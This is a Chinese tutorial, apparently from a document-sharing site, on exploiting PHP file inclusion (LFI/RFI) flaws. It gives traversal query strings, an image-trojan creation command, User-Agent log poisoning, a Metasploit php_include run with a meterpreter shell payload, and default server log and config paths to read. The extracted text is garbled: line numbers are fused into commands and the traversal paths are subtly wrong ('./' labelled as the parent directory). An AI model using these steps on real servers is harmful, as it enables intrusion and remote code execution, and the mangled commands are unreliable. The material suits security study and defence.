PHP文件包含漏洞的形式总结
23页1、PHP文件包含漏洞的形式总结原理文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。php 中引发文件包含漏洞的通常是以下四个函数:1、include() 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。3、require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行4、require_once() 它的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,php 内核并不在意该被包含的文件是什么类型。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。这一特性,在实施攻击时非常有用。利用条件(1) include 等函数通
2、过动态执行变量的方式引入需要包含的文件;(2)用户能控制该动态变量。分类文件包含漏洞可以分为 RFI (远程文件包含)和 LFI(本地文件包含漏洞)两种。而区分他们最简单的方法就是 php.ini 中是否开启了allow_url_include。如果开启 了我们就有可能包含远程文件。1、本地文件包含 LFI(Local File Include)2、远程文件包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)在 php.ini 中,allow_url_fopen 默认一直是 On,而 allow_url_include 从 php5.2 之后就默认为 Off。一、本地包含包含同目录下的文件1?file=test.txt目录遍历:1?file=./././test.txt./ 当前目录 ./ 上一级目录,这样的遍历目录来读取文件包含图片木马命令行下执行:1copy x.jpg /b + s.php /b f.jpg上传 f.jpg、找到 f.jpg 路径、包含 f.jpg包含
3、日志利用条件:需要知道服务器日志的存储路径,且日志文件可读。很多时候,web 服务器会将请求写入到日志文件中,比如说 apache。在用户发起请求时,会将请求写入 access.log,当发生错误时将错误写入 error.log。默认情况下,日志保存路径在 /var/log/apache2/。1?file=./././././././././var/log/apache/error.log1、提交如下请求,将 payload 插入日志2、可以尝试利用 UA 插入 payload 到日志文件3、MSF 攻击模块12345678use exploit/unix/webapp/php_includeset rhost 192.168.159.128set rport 80set phpuri /index.php?file=xxLFIxxset path http:/172.18.176.147/set payload php/meterpreter/bind_tcpset srvport 8888exploit -z日志默认路径apache+Linux 日志默认路径1/etc/httpd/
4、logs/access_log或者1/var/log/httpd/access logapache+win2003 日志默认路径12D:/xampp/apache/logs/access.logD:/xampp/apache/logs/error.logIIS6.0+win2003 默认日志文件1C:/WINDOWS/system32/LogfilesIIS7.0+win2003 默认日志文件1%SystemDrive%/inetpub/logs/LogFilesnginx 日志文件在用户安装目录的 logs 目录下如安装目录为 /usr/local/nginx,则日志目录就是在1/usr/local/nginx/logs也可通过其配置文件 Nginx.conf,获取到日志的存在路径1/opt/nginx/logs/access.logweb 中间件默认配置apache+linux 默认配置文件1/etc/httpd/conf/httpd.conf或者1index.php?page=/etc/init.d/httpdIIS6.0+win2003 配置文件1C:/Windows/syst
《PHP文件包含漏洞的形式总结》由会员m****分享,可在线阅读,更多相关《PHP文件包含漏洞的形式总结》请在金锄头文库上搜索。
DB2发生死锁情况时应该怎么处理
Python 为何能成最强编程语言
面试前必须要知道的Redis面试
MySQL下自动删除指定时间以前的记录的操作方法
深入理解FastCGI协议以及在PHP中的实现
MySQL数据库性能优化之硬件瓶颈分析
NoSQL数据库大全收集整理
2018 – 2019 年前端 JavaScript 面试题
PHP文件包含漏洞的形式总结
5种使用Python代码轻松实现数据可视化的方法
改进JavaScript和Bust的互操作性:深入认识wasm-bindgen组件
C#图片缩放平移从功能分析到编码实现
详解网络蜘蛛的安全隐患及预防方法
利用NAP解除安全隐患自动隐藏你的IP地址
解决分布式数据库和离线网络中原子性问题的新方法
bbed恢复数据遇到延迟块清除的问题
Oracle Data Redaction数据加密
linux下du和df结果不一致的原因及处理
基于QMP实现对qemu虚拟机进行交互
解读Java并发队列BlockingQueue
2023-08-28 7页
2023-08-15 11页
2020-05-10 4页
2020-05-10 4页
2020-05-10 6页
2020-05-10 5页
2020-05-10 5页
2020-05-10 3页
2020-05-10 5页
2020-05-10 4页